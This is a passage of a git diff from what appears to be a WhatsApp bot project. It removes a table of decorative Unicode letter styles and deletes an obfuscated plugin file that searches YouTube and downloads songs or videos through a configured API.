- 8:{"0":"𝟶","1":"𝟷","2":"𝟸","3":"𝟹","4":"𝟺","5":"𝟻","6":"𝟼","7":"𝟽","8":"𝟾","9":"𝟿","a":"𝚊","b":"𝚋","c":"𝚌","d":"𝚍","e":"𝚎","f":"𝚏","g":"𝚐","h":"𝚑","i":"𝚒","j":"𝚓","k":"𝚔","l":"𝚕","m":"𝚖","n":"𝚗","o":"𝚘","p":"𝚙","q":"𝚚","r":"𝚛","s":"𝚜","t":"𝚝","u":"𝚞","v":"𝚟","w":"𝚠","x":"𝚡","y":"𝚢","z":"𝚣","A":"𝙰","B":"𝙱","C":"𝙲","D":"𝙳","E":"𝙴","F":"𝙵","G":"𝙶","H":"𝙷","I":"𝙸","J":"𝙹","K":"𝙺","L":"𝙻","M":"𝙼","N":"𝙽","O":"𝙾","P":"𝙿","Q":"𝚀","R":"𝚁","S":"𝚂","T":"𝚃","U":"𝚄","V":"𝚅","W":"𝚆","X":"𝚇","Y":"𝚈","Z":"𝚉" },
- 9:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝙖","b":"𝙗","c":"𝙘","d":"𝙙","e":"𝙚","f":"𝙛","g":"𝙜","h":"𝙝","i":"𝙞","j":"𝙟","k":"𝙠","l":"𝙡","m":"𝙢","n":"𝙣","o":"𝙤","p":"𝙥","q":"𝙦","r":"𝙧","s":"𝙨","t":"𝙩","u":"𝙪","v":"𝙫","w":"𝙬","x":"𝙭","y":"𝙮","z":"𝙯","A":"𝘼","B":"𝘽","C":"𝘾","D":"𝘿","E":"𝙀","F":"𝙁","G":"𝙂","H":"𝙃","I":"𝙄","J":"𝙅","K":"𝙆","L":"𝙇","M":"𝙈","N":"𝙉","O":"𝙊","P":"𝙋","Q":"𝙌","R":"𝙍","S":"𝙎","T":"𝙏","U":"𝙐","V":"𝙑","W":"𝙒","X":"𝙓","Y":"𝙔","Z":"𝙕" },
- 10:{"0":"𝟎","1":"𝟏","2":"𝟐","3":"𝟑","4":"𝟒","5":"𝟓","6":"𝟔","7":"𝟕","8":"𝟖","9":"𝟗","a":"𝐚","b":"𝐛","c":"𝐜","d":"𝐝","e":"𝐞","f":"𝐟","g":"𝐠","h":"𝐡","i":"𝐢","j":"𝐣","k":"𝐤","l":"𝐥","m":"𝐦","n":"𝐧","o":"𝐨","p":"𝐩","q":"𝐪","r":"𝐫","s":"𝐬","t":"𝐭","u":"𝐮","v":"𝐯","w":"𝐰","x":"𝐱","y":"𝐲","z":"𝐳","A":"𝐀","B":"𝐁","C":"𝐂","D":"𝐃","E":"𝐄","F":"𝐅","G":"𝐆","H":"𝐇","I":"𝐈","J":"𝐉","K":"𝐊","L":"𝐋","M":"𝐌","N":"𝐍","O":"𝐎","P":"𝐏","Q":"𝐐","R":"𝐑","S":"𝐒","T":"𝐓","U":"𝐔","V":"𝐕","W":"𝐖","X":"𝐗","Y":"𝐘","Z":"𝐙" },
- 11:{"0":"𝟬","1":"𝟭","2":"𝟮","3":"𝟯","4":"𝟰","5":"𝟱","6":"𝟲","7":"𝟳","8":"𝟴","9":"𝟵","a":"𝗮","b":"𝗯","c":"𝗰","d":"𝗱","e":"𝗲","f":"𝗳","g":"𝗴","h":"𝗵","i":"𝗶","j":"𝗷","k":"𝗸","l":"𝗹","m":"𝗺","n":"𝗻","o":"𝗼","p":"𝗽","q":"𝗾","r":"𝗿","s":"𝘀","t":"𝘁","u":"𝘂","v":"𝘃","w":"𝘄","x":"𝘅","y":"𝘆","z":"𝘇","A":"𝗔","B":"𝗕","C":"𝗖","D":"𝗗","E":"𝗘","F":"𝗙","G":"𝗚","H":"𝗛","I":"𝗜","J":"𝗝","K":"𝗞","L":"𝗟","M":"𝗠","N":"𝗡","O":"𝗢","P":"𝗣","Q":"𝗤","R":"𝗥","S":"𝗦","T":"𝗧","U":"𝗨","V":"𝗩","W":"𝗪","X":"𝗫","Y":"𝗬","Z":"𝗭" },
- 12: {"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝘢","b":"𝘣","c":"𝘤","d":"𝘥","e":"𝘦","f":"𝘧","g":"𝘨","h":"𝘩","i":"𝘪","j":"𝘫","k":"𝘬","l":"𝘭","m":"𝘮","n":"𝘯","o":"𝘰","p":"𝘱","q":"𝘲","r":"𝘳","s":"𝘴","t":"𝘵","u":"𝘶","v":"𝘷","w":"𝘸","x":"𝘹","y":"𝘺","z":"𝘻","A":"𝘈","B":"𝘉","C":"𝘊","D":"𝘋","E":"𝘌","F":"𝘍","G":"𝘎","H":"𝘏","I":"𝘐","J":"𝘑","K":"𝘒","L":"𝘓","M":"𝘔","N":"𝘕","O":"𝘖","P":"𝘗","Q":"𝘘","R":"𝘙","S":"𝘚","T":"𝘛","U":"𝘜","V":"𝘝","W":"𝘞","X":"𝘟","Y":"𝘠","Z":"𝘡" },
- 13:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"α","b":"Ⴆ","c":"ƈ","d":"ԃ","e":"ҽ","f":"ϝ","g":"ɠ","h":"ԋ","i":"ι","j":"ʝ","k":"ƙ","l":"ʅ","m":"ɱ","n":"ɳ","o":"σ","p":"ρ","q":"ϙ","r":"ɾ","s":"ʂ","t":"ƚ","u":"υ","v":"ʋ","w":"ɯ","x":"x","y":"ყ","z":"ȥ","A":"A","B":"B","C":"C","D":"D","E":"E","F":"F","G":"G","H":"H","I":"I","J":"J","K":"K","L":"L","M":"M","N":"N","O":"O","P":"P","Q":"Q","R":"R","S":"S","T":"T","U":"U","V":"V","W":"W","X":"X","Y":"Y","Z":"Z" },
- 14:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"₳","b":"฿","c":"₵","d":"Đ","e":"Ɇ","f":"₣","g":"₲","h":"Ⱨ","i":"ł","j":"J","k":"₭","l":"Ⱡ","m":"₥","n":"₦","o":"Ø","p":"₱","q":"Q","r":"Ɽ","s":"₴","t":"₮","u":"Ʉ","v":"V","w":"₩","x":"Ӿ","y":"Ɏ","z":"Ⱬ","A":"₳","B":"฿","C":"₵","D":"Đ","E":"Ɇ","F":"₣","G":"₲","H":"Ⱨ","I":"ł","J":"J","K":"₭","L":"Ⱡ","M":"₥","N":"₦","O":"Ø","P":"₱","Q":"Q","R":"Ɽ","S":"₴","T":"₮","U":"Ʉ","V":"V","W":"₩","X":"Ӿ","Y":"Ɏ","Z":"Ⱬ" },
- 15:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"å","b":"ß","c":"¢","d":"Ð","e":"ê","f":"£","g":"g","h":"h","i":"ï","j":"j","k":"k","l":"l","m":"m","n":"ñ","o":"ð","p":"þ","q":"q","r":"r","s":"§","t":"†","u":"µ","v":"v","w":"w","x":"x","y":"¥","z":"z","A":"Ä","B":"ß","C":"Ç","D":"Ð","E":"È","F":"£","G":"G","H":"H","I":"Ì","J":"J","K":"K","L":"L","M":"M","N":"ñ","O":"Ö","P":"þ","Q":"Q","R":"R","S":"§","T":"†","U":"Ú","V":"V","W":"W","X":"×","Y":"¥","Z":"Z" },
- 16:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"α","b":"в","c":"¢","d":"∂","e":"є","f":"ƒ","g":"g","h":"н","i":"ι","j":"נ","k":"к","l":"ℓ","m":"м","n":"η","o":"σ","p":"ρ","q":"q","r":"я","s":"ѕ","t":"т","u":"υ","v":"ν","w":"ω","x":"χ","y":"у","z":"z","A":"α","B":"в","C":"¢","D":"∂","E":"є","F":"ƒ","G":"g","H":"н","I":"ι","J":"נ","K":"к","L":"ℓ","M":"м","N":"η","O":"σ","P":"ρ","Q":"q","R":"я","S":"ѕ","T":"т","U":"υ","V":"ν","W":"ω","X":"χ","Y":"у","Z":"z" },
- 17:{"0":"⊘","1":"𝟙","2":"ϩ","3":"Ӡ","4":"५","5":"Ƽ","6":"Ϭ","7":"7","8":"𝟠","9":"९","a":"ą","b":"ҍ","c":"ç","d":"ժ","e":"ҽ","f":"ƒ","g":"ց","h":"հ","i":"ì","j":"ʝ","k":"ҟ","l":"Ӏ","m":"ʍ","n":"ղ","o":"օ","p":"ք","q":"զ","r":"ɾ","s":"ʂ","t":"է","u":"մ","v":"ѵ","w":"ա","x":"×","y":"վ","z":"Հ","A":"Ⱥ","B":"β","C":"↻","D":"Ꭰ","E":"Ɛ","F":"Ƒ","G":"Ɠ","H":"Ƕ","I":"į","J":"ل","K":"Ҡ","L":"Ꝉ","M":"Ɱ","N":"ហ","O":"ට","P":"φ","Q":"Ҩ","R":"འ","S":"Ϛ","T":"Ͳ","U":"Ա","V":"Ỽ","W":"చ","X":"ჯ","Y":"Ӌ","Z":"ɀ" },
- 18:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"Λ","b":"B","c":"ᄃ","d":"D","e":"Σ","f":"F","g":"G","h":"Ή","i":"I","j":"J","k":"K","l":"ᄂ","m":"M","n":"П","o":"Ө","p":"P","q":"Q","r":"Я","s":"Ƨ","t":"Ƭ","u":"Ц","v":"V","w":"Щ","x":"X","y":"Y","z":"Z","A":"Λ","B":"B","C":"ᄃ","D":"D","E":"Σ","F":"F","G":"G","H":"Ή","I":"I","J":"J","K":"K","L":"ᄂ","M":"M","N":"П","O":"Ө","P":"P","Q":"Q","R":"Я","S":"Ƨ","T":"Ƭ","U":"Ц","V":"V","W":"Щ","X":"X","Y":"Y","Z":"Z" },
- 19:{"0":"₀","1":"₁","2":"₂","3":"₃","4":"₄","5":"₅","6":"₆","7":"₇","8":"₈","9":"₉","a":"ₐ","b":"b","c":"c","d":"d","e":"ₑ","f":"f","g":"g","h":"ₕ","i":"ᵢ","j":"ⱼ","k":"ₖ","l":"ₗ","m":"ₘ","n":"ₙ","o":"ₒ","p":"ₚ","q":"q","r":"ᵣ","s":"ₛ","t":"ₜ","u":"ᵤ","v":"ᵥ","w":"w","x":"ₓ","y":"y","z":"z","A":"ₐ","B":"B","C":"C","D":"D","E":"ₑ","F":"F","G":"G","H":"ₕ","I":"ᵢ","J":"ⱼ","K":"ₖ","L":"ₗ","M":"ₘ","N":"ₙ","O":"ₒ","P":"ₚ","Q":"Q","R":"ᵣ","S":"ₛ","T":"ₜ","U":"ᵤ","V":"ᵥ","W":"W","X":"ₓ","Y":"Y","Z":"Z","+":"₊","-":"₋",":":"₌","(":"₍",")":"₎" },
- 20:{"0":"⁰","1":"¹","2":"²","3":"³","4":"⁴","5":"⁵","6":"⁶","7":"⁷","8":"⁸","9":"⁹","a":"ᵃ","b":"ᵇ","c":"ᶜ","d":"ᵈ","e":"ᵉ","f":"ᶠ","g":"ᵍ","h":"ʰ","i":"ⁱ","j":"ʲ","k":"ᵏ","l":"ˡ","m":"ᵐ","n":"ⁿ","o":"ᵒ","p":"ᵖ","q":"q","r":"ʳ","s":"ˢ","t":"ᵗ","u":"ᵘ","v":"ᵛ","w":"ʷ","x":"ˣ","y":"ʸ","z":"ᶻ","A":"ᴬ","B":"ᴮ","C":"ᶜ","D":"ᴰ","E":"ᴱ","F":"ᶠ","G":"ᴳ","H":"ᴴ","I":"ᴵ","J":"ᴶ","K":"ᴷ","L":"ᴸ","M":"ᴹ","N":"ᴺ","O":"ᴼ","P":"ᴾ","Q":"Q","R":"ᴿ","S":"ˢ","T":"ᵀ","U":"ᵁ","V":"ⱽ","W":"ᵂ","X":"ˣ","Y":"ʸ","Z":"ᶻ","+":"⁺","-":"⁻",":":"⁼","(":"⁽",")":"⁾" },
- 21:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ค","b":"๒","c":"ς","d":"๔","e":"є","f":"Ŧ","g":"ﻮ","h":"ђ","i":"เ","j":"ן","k":"к","l":"ɭ","m":"๓","n":"ภ","o":"๏","p":"ק","q":"ợ","r":"г","s":"ร","t":"Շ","u":"ย","v":"ש","w":"ฬ","x":"א","y":"ץ","z":"չ","A":"ค","B":"๒","C":"ς","D":"๔","E":"є","F":"Ŧ","G":"ﻮ","H":"ђ","I":"เ","J":"ן","K":"к","L":"ɭ","M":"๓","N":"ภ","O":"๏","P":"ק","Q":"ợ","R":"г","S":"ร","T":"Շ","U":"ย","V":"ש","W":"ฬ","X":"א","Y":"ץ","Z":"չ" },
- 22:{"0":"𝟘","1":"𝟙","2":"𝟚","3":"𝟛","4":"𝟜","5":"𝟝","6":"𝟞","7":"𝟟","8":"𝟠","9":"𝟡","a":"𝕒","b":"𝕓","c":"𝕔","d":"𝕕","e":"𝕖","f":"𝕗","g":"𝕘","h":"𝕙","i":"𝕚","j":"𝕛","k":"𝕜","l":"𝕝","m":"𝕞","n":"𝕟","o":"𝕠","p":"𝕡","q":"𝕢","r":"𝕣","s":"𝕤","t":"𝕥","u":"𝕦","v":"𝕧","w":"𝕨","x":"𝕩","y":"𝕪","z":"𝕫","A":"𝔸","B":"𝔹","C":"ℂ","D":"𝔻","E":"𝔼","F":"𝔽","G":"𝔾","H":"ℍ","I":"𝕀","J":"𝕁","K":"𝕂","L":"𝕃","M":"𝕄","N":"ℕ","O":"𝕆","P":"ℙ","Q":"ℚ","R":"ℝ","S":"𝕊","T":"𝕋","U":"𝕌","V":"𝕍","W":"𝕎","X":"𝕏","Y":"𝕐","Z":"ℤ" },
- 23:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝖆","b":"𝖇","c":"𝖈","d":"𝖉","e":"𝖊","f":"𝖋","g":"𝖌","h":"𝖍","i":"𝖎","j":"𝖏","k":"𝖐","l":"𝖑","m":"𝖒","n":"𝖓","o":"𝖔","p":"𝖕","q":"𝖖","r":"𝖗","s":"𝖘","t":"𝖙","u":"𝖚","v":"𝖛","w":"𝖜","x":"𝖝","y":"𝖞","z":"𝖟","A":"𝕬","B":"𝕭","C":"𝕮","D":"𝕯","E":"𝕰","F":"𝕱","G":"𝕲","H":"𝕳","I":"𝕴","J":"𝕵","K":"𝕶","L":"𝕷","M":"𝕸","N":"𝕹","O":"𝕺","P":"𝕻","Q":"𝕼","R":"𝕽","S":"𝕾","T":"𝕿","U":"𝖀","V":"𝖁","W":"𝖂","X":"𝖃","Y":"𝖄","Z":"𝖅" },
- 24:{q:"🆀",w:"🆆",e:"🅴",r:"🆁",t:"🆃",y:"🆈",u:"🆄",i:"🅸",o:"🅾",p:"🅿",a:"🅰",s:"🆂",d:"🅳",f:"🅵",g:"🅶",h:"🅷",j:"🅹",k:"🅺",l:"🅻",z:"🆉",x:"🆇",c:"🅲",v:"🆅",b:"🅱",n:"🅽",m:"🅼"},
- 25:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝓪","b":"𝓫","c":"𝓬","d":"𝓭","e":"𝓮","f":"𝓯","g":"𝓰","h":"𝓱","i":"𝓲","j":"𝓳","k":"𝓴","l":"𝓵","m":"𝓶","n":"𝓷","o":"𝓸","p":"𝓹","q":"𝓺","r":"𝓻","s":"𝓼","t":"𝓽","u":"𝓾","v":"𝓿","w":"𝔀","x":"𝔁","y":"𝔂","z":"𝔃","A":"𝓐","B":"𝓑","C":"𝓒","D":"𝓓","E":"𝓔","F":"𝓕","G":"𝓖","H":"𝓗","I":"𝓘","J":"𝓙","K":"𝓚","L":"𝓛","M":"𝓜","N":"𝓝","O":"𝓞","P":"𝓟","Q":"𝓠","R":"𝓡","S":"𝓢","T":"𝓣","U":"𝓤","V":"𝓥","W":"𝓦","X":"𝓧","Y":"𝓨","Z":"𝓩" },
- 26:{"a":"𝔞","b":"𝔟","c":"𝔠","d":"𝔡","e":"𝔢","f":"𝔣","g":"𝔤","h":"𝔥","i":"𝔦","j":"𝔧","k":"𝔨","l":"𝔩","m":"𝔪","n":"𝔫","o":"𝔬","p":"𝔭","q":"𝔮","r":"𝔯","s":"𝔰","t":"𝔱","u":"𝔲","v":"𝔳","w":"𝔴","x":"𝔵","y":"𝔶","z":"𝔷","A":"𝔄","B":"𝔅","C":"ℭ","D":"𝔇","E":"𝔈","F":"𝔉","G":"𝔊","H":"ℌ","I":"ℑ","J":"𝔍","K":"𝔎","L":"𝔏","M":"𝔐","N":"𝔑","O":"𝔒","P":"𝔓","Q":"𝔔","R":"ℜ","S":"𝔖","T":"𝔗","U":"𝔘","V":"𝔙","W":"𝔚","X":"𝔛","Y":"𝔜","Z":"ℨ" },
- 27:{"`":"`","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","0":"0","-":"-",":":"=","~":"~","!":"!","@":"@","#":"#","$":"$","%":"%","^":"^","&":"&","*":"*","(":"(",")":")","_":"_","+":"+","q":"q","w":"w","e":"e","r":"r","t":"t","y":"y","u":"u","i":"i","o":"o","p":"p","[":"[","]":"]","\\":"\\","Q":"Q","W":"W","E":"E","R":"R","T":"T","Y":"Y","U":"U","I":"I","O":"O","P":"P","{":"{","}":"}","|":"|","a":"a","s":"s","d":"d","f":"f","g":"g","h":"h","j":"j","k":"k","l":"l",";":";","'":"'","A":"A","S":"S","D":"D","F":"F","G":"G","H":"H","J":"J","K":"K","L":"L",":":":","\"":"\"","z":"z","x":"x","c":"c","v":"v","b":"b","n":"n","m":"m",",":",",".":".","/":"/","Z":"Z","X":"X","C":"C","V":"V","B":"B","N":"N","M":"M","<":"<",">":">","?":"?"},
- 28:{"a":"ᴀ","b":"ʙ","c":"ᴄ","d":"ᴅ","e":"ᴇ","f":"ғ","g":"ɢ","h":"ʜ","i":"ɪ","j":"ᴊ","k":"ᴋ","l":"ʟ","m":"ᴍ","n":"ɴ","o":"ᴏ","p":"ᴘ","q":"ǫ","r":"ʀ","s":"s","t":"ᴛ","u":"ᴜ","v":"ᴠ","w":"ᴡ","x":"x","y":"ʏ","z":"ᴢ","A":"ᴀ","B":"ʙ","C":"ᴄ","D":"ᴅ","E":"ᴇ","F":"ғ","G":"ɢ","H":"ʜ","I":"ɪ","J":"ᴊ","K":"ᴋ","L":"ʟ","M":"ᴍ","N":"ɴ","O":"ᴏ","P":"ᴘ","Q":"ǫ","R":"ʀ","S":"s","T":"ᴛ","U":"ᴜ","V":"ᴠ","W":"ᴡ","X":"x","Y":"ʏ","Z":"ᴢ" },
- 29:{"a":"𝒂","b":"𝒃","c":"𝒄","d":"𝒅","e":"𝒆","f":"𝒇","g":"𝒈","h":"𝒉","i":"𝒊","j":"𝒋","k":"𝒌","l":"𝒍","m":"𝒎","n":"𝒏","o":"𝒐","p":"𝒑","q":"𝒒","r":"𝒓","s":"𝒔","t":"𝒕","u":"𝒖","v":"𝒗","w":"𝒘","x":"𝒙","y":"𝒚","z":"𝒛","A":"𝐴","B":"𝐵","C":"𝐶","D":"𝐷","E":"𝐸","F":"𝐹","G":"𝐺","H":"𝐻","I":"𝐼","J":"𝐽","K":"𝐾","L":"𝐿","M":"𝑀","N":"𝑁","O":"𝑂","P":"𝑃","Q":"𝑄","R":"𝑅","S":"𝑆","T":"𝑇","U":"𝑈","V":"𝑉","W":"𝑊","X":"𝑋","Y":"𝑌","Z":"𝑍" },
- 30:{"a":"𝛥","b":"??","c":"𝐶","d":"𝐷","e":"𝛯","f":"𝐹","g":"𝐺","h":"𝛨","i":"𝛪","j":"𝐽","k":"𝛫","l":"𝐿","m":"𝛭","n":"𝛮","o":"𝛩","p":"𝛲","q":"𝑄","r":"𝑅","s":"𝑆","t":"𝑇","u":"𝑈","v":"𝛻","w":"𝑊","x":"𝛸","y":"𝑌","z":"𝛧","A":"𝛥","B":"𝐵","C":"𝐶","D":"𝐷","E":"𝛯","F":"𝐹","G":"𝐺","H":"𝛨","I":"𝛪","J":"𝐽","K":"𝛫","L":"𝐿","M":"𝛭","N":"𝛮","O":"𝛩","P":"𝛲","Q":"𝑄","R":"𝑅","S":"𝑆","T":"𝑇","U":"𝑈","V":"𝛻","W":"𝑊","X":"𝛸","Y":"𝑌","Z":"𝛧"},
- 31:{"A":"𝚫","B":"𝚩","C":"𝐂","D":"𝐃","E":"𝚵","F":"𝐅","G":"𝐆","H":"𝚮","I":"𝚰","J":"𝐉","K":"𝐊","L":"𝐋","M":"𝚳","N":"𝚴","O":"𝚯","P":"𝚸","Q":"𝐐","R":"𝚪","S":"𝐒","T":"𝚻","U":"𝐔","V":"𝛁","W":"𝐖","X":"𝚾","Y":"𝐘","Z":"𝚭","a":"𝚫","b":"𝚩","c":"𝐂","d":"𝐃","e":"𝚵","f":"𝐅","g":"𝐆","h":"𝚮","i":"𝚰","j":"𝐉","k":"𝐊","l":"𝐋","m":"𝚳","n":"𝚴","o":"𝚯","p":"𝚸","q":"𝐐","r":"𝚪","s":"𝐒","t":"𝚻","u":"𝐔","v":"𝛁","w":"𝐖","x":"𝚾","y":"𝐘","z":"𝚭"},
- 32:{"A":"ꪖ","B":"᥇","C":"ᥴ","D":"ᦔ","E":"ꫀ","F":"ᠻ","G":"ᧁ","H":"ꫝ","I":"ﺃ","J":"꠹","K":"ᛕ","L":"ꪶ","M":"ꪑ","N":"ꪀ","O":"ꪮ","P":"ᜣ","Q":"ꪇ","R":"᥅","S":"ᦓ","T":"ꪻ","U":"ꪊ","V":"ꪜ","W":"᭙","X":"᥊","Y":"ꪗ","Z":"ɀ","a":"ꪖ","b":"᥇","c":"ᥴ","d":"ᦔ","e":"ꫀ","f":"ᠻ","g":"ᧁ","h":"ꫝ","i":"ﺃ","j":"꠹","k":"ᛕ","l":"ꪶ","m":"ꪑ","n":"ꪀ","o":"ꪮ","p":"ᜣ","q":"ꪇ","r":"᥅","s":"ᦓ","t":"ꪻ","u":"ꪊ","v":"ꪜ","w":"᭙","x":"᥊","y":"ꪗ","z":"ɀ"},
- 33:{"ഒ":"ඉ","എ":"ᬤ","ഉ":"ຂ","ക":"ᤌ","ഗ":"ꪭ","ത":"ꫧ","ന":"ღ͢","മ്പ":"൩","വ":"൨","യ":"ᨨ͓","ര":"ᰍ","ി":"᭄","ീ":"ꪻ","ാ":"ꫂ","(":"ꪶ","ു":"⫰","്":"᷃","്":"ັ","ർ":"൪","ണ":"𑇥̅","ട":"ຮ","ട്ട":"ჴ","െ":"൭͛","ം":"◕","ഞ":"ൡ̅","േ":"ල","ൽ":"ᰢ","ന്ന":"ꢳ"},
- apply,
- list
- };
diff --git a/scs/bmwtes.js b/scs/bmwtes.js
deleted file mode 100644
index 8dda0ca..0000000
--- a/scs/bmwtes.js
+++ /dev/null
@@ -1 +0,0 @@
-const _0x4e99b5=_0x5378;(function(_0x3afc4d,_0x3f4363){const _0x33c35f=_0x5378,_0x4cb90b=_0x3afc4d();while(!![]){try{const _0x139346=parseInt(_0x33c35f(0x202))/(-0x6ec+-0x4*-0x5c2+-0x101b)*(-parseInt(_0x33c35f(0x234))/(-0x2626+0x1*0x19c7+-0x1*-0xc61))+-parseInt(_0x33c35f(0x214))/(0x1*-0x223f+0xf52+0x12f0)+-parseInt(_0x33c35f(0x1e3))/(0x5b*-0x29+0x19bf+0x7*-0x198)*(-parseInt(_0x33c35f(0x1de))/(-0x7*0x547+-0x238d+0x1*0x4883))+parseInt(_0x33c35f(0x21c))/(0x16ca*0x1+0x873+-0x1f37)+parseInt(_0x33c35f(0x20b))/(-0x14b*-0x3+0x23b8+-0x2792)+parseInt(_0x33c35f(0x235))/(-0x2f*0x2+0x1*-0x1549+0x1ab*0xd)*(parseInt(_0x33c35f(0x209))/(0x1f21+-0x225a+-0x1*-0x342))+-parseInt(_0x33c35f(0x1d7))/(-0x8ea*-0x2+0x5ca*0x3+-0x2328)*(-parseInt(_0x33c35f(0x248))/(-0x1bdd*0x1+0x2642+-0xa5a));if(_0x139346===_0x3f4363)break;else _0x4cb90b['push'](_0x4cb90b['shift']());}catch(_0x4eded9){_0x4cb90b['push'](_0x4cb90b['shift']());}}}(_0x11c4,-0xaa3bf+-0x7737b*0x1+0x18918b),require(_0x4e99b5(0x1e6))[_0x4e99b5(0x220)]());const {adams}=require(_0x4e99b5(0x1e1)+_0x4e99b5(0x1d6)),yts=require(_0x4e99b5(0x1fa)),axios=require(_0x4e99b5(0x207)),BaseUrl=process[_0x4e99b5(0x216)][_0x4e99b5(0x1fd)],adamsapikey=process[_0x4e99b5(0x216)][_0x4e99b5(0x1dd)];function _0x11c4(){const _0x4d79d4=['\x20name.','IRHxS','0\x20•\x20','result','audio/mp4','dMKXN','eLsxA','RienA','\x0a*Searchin','ZYGGV','\x0a\x0a>\x20©Ibrah','RvRDl','Download','mp3','download\x20t','he\x20video.','33zwNIhc','tMdIm','get','author','Efehr','status','&apikey=','mvFKi','No\x20videos\x20','Please\x20ins','videos','◁\x20II\x20▷\x201:0','/adams','884190FnUfNO','ert\x20a\x20song','No\x20audio\x20f','play','\x0a⏱️\x20Time:\x20','Ssxtz','BOT_OWNER','1878970UxoUza','bvVvb','*\x20by\x20','../Ibrahim','?url=','8BXnBWw','download_u','ound.\x20Try\x20','dotenv','error','oad/yt','OgIVC','MfUad','/api/downl','IRELj','*\x0a\x0a*©Ibrah','RxBtO','nloading\x20*','success','mnOWC','\x20Successfu','ion\x20error:','length','Downloaded','EjJWt','aseUrl\x20or\x20','DTIgJ','video','yt-search','YouTube\x20Se','cXcFB','GITHUB_GIT','wqHea','mp4','ypZhb','BMW\x20is\x20dow','911cXHhSX','*BMW\x20Just\x20','join','wTRHI','im\x20Adams','axios','lly\x20✅','114975shjjFv','xJKUt','1982890kGEgEV','\x202024*','RGCAW','min','name','Qnrjd','fill','Failed\x20to\x20','Configurat','2363952kfgOYv','jROqw','env','uAbaj','me.','\x20another\x20n','another\x20na','he\x20audio.','2287488eFMUrb','im\x20Adams*','arch\x20Error','title','config','timestamp','Search','GoGbC','HJPwK','/video\x20nam','hMWQZ','url','ame.','found.\x20Try','PLAYER*\x0a\x0a*','video/mp4','*\x0a\x0a*®Adams','PPcfh','arSvx','sendMessag','*BMW\x20SONG\x20','thumbnail','oCTga','API\x20key.','1450FbDlHO','120NHFDKh','API\x20Error\x20','\x20Missing\x20B'];_0x11c4=function(){return _0x4d79d4;};return _0x11c4();}function validateConfig(){const _0x39ff8b=_0x4e99b5,_0x56d817={'tMdIm':function(_0x4348a8,_0xe3fcba){return _0x4348a8||_0xe3fcba;},'xJKUt':_0x39ff8b(0x213)+_0x39ff8b(0x1f3)+_0x39ff8b(0x237)+_0x39ff8b(0x1f7)+_0x39ff8b(0x233)};if(_0x56d817[_0x39ff8b(0x249)](!BaseUrl,!adamsapikey))throw new Error(_0x56d817[_0x39ff8b(0x20a)]);}validateConfig();function startLoadingAnimation(_0x2029d8){const _0x5639df=_0x4e99b5,_0x345050={'RvRDl':function(_0x38168d,_0x35aa83){return _0x38168d(_0x35aa83);},'RGCAW':function(_0x4d8728,_0x56f881){return _0x4d8728<_0x56f881;},'arSvx':function(_0xce1e38,_0x4f553a){return _0xce1e38>_0x4f553a;},'PPcfh':function(_0xc256c2,_0x4681ef,_0x417f28){return _0xc256c2(_0x4681ef,_0x417f28);}};let _0x2165f6='',_0x580fc7=-0x4ac+0x1*0x1ed5+0xd14*-0x2;const _0x49d71d=_0x345050[_0x5639df(0x22d)](setInterval,()=>{const _0x25ef95=_0x5639df;_0x2165f6=_0x345050[_0x25ef95(0x243)](Array,-0x25a6+0x29*0x9+-0x60a*-0x6)[_0x25ef95(0x211)]('▱');for(let _0x38bc00=0x232*0x4+-0x251*-0xb+0x4e5*-0x7;_0x345050[_0x25ef95(0x20d)](_0x38bc00,Math[_0x25ef95(0x20e)](_0x580fc7,0xdfe+0x9b*0x2b+-0x2803));_0x38bc00++){_0x2165f6[_0x38bc00]='▰';}_0x345050[_0x25ef95(0x243)](_0x2029d8,_0x25ef95(0x240)+'g\x20'+_0x2165f6[_0x25ef95(0x204)]('')+'*'),_0x580fc7++;if(_0x345050[_0x25ef95(0x22e)](_0x580fc7,-0x9b*-0x3e+0x19eb+0x17*-0x2c2))_0x580fc7=0x23c3*-0x1+0xab1*0x2+0xe62;},-0x2*-0x30+0x5fd+0x3*-0x1bb);return()=>clearInterval(_0x49d71d);}async function searchYouTube(_0x2c7be7){const _0x93cd06=_0x4e99b5,_0x2a4057={'ZYGGV':function(_0x20238a,_0x3466a7){return _0x20238a(_0x3466a7);},'DTIgJ':function(_0x4cfc3b,_0x56e74b){return _0x4cfc3b>_0x56e74b;},'IRHxS':_0x93cd06(0x1fb)+_0x93cd06(0x21e)+':'};try{const _0xa4b4b8=await _0x2a4057[_0x93cd06(0x241)](yts,_0x2c7be7);return _0x2a4057[_0x93cd06(0x1f8)](_0xa4b4b8[_0x93cd06(0x1d4)][_0x93cd06(0x1f4)],0x14c8*-0x1+-0x2701+0xbf5*0x5)?_0xa4b4b8[_0x93cd06(0x1d4)][-0x1*-0xc02+0x167*0x1+-0x1*0xd69]:null;}catch(_0x1437e5){return console[_0x93cd06(0x1e7)](_0x2a4057[_0x93cd06(0x239)],_0x1437e5),null;}}async function downloadMedia(_0x2bbffd,_0x3d39bd){const _0x411758=_0x4e99b5,_0x7d583a={'uAbaj':function(_0x2c7e3d,_0x2119a5){return _0x2c7e3d(_0x2119a5);},'mvFKi':function(_0x4bf1a0,_0x52daf8){return _0x4bf1a0===_0x52daf8;}};try{const _0x4e13b4=BaseUrl+(_0x411758(0x1eb)+_0x411758(0x1e8))+_0x3d39bd+_0x411758(0x1e2)+_0x7d583a[_0x411758(0x217)](encodeURIComponent,_0x2bbffd)+_0x411758(0x1d0)+adamsapikey,{data:_0x338b5b}=await axios[_0x411758(0x24a)](_0x4e13b4);return 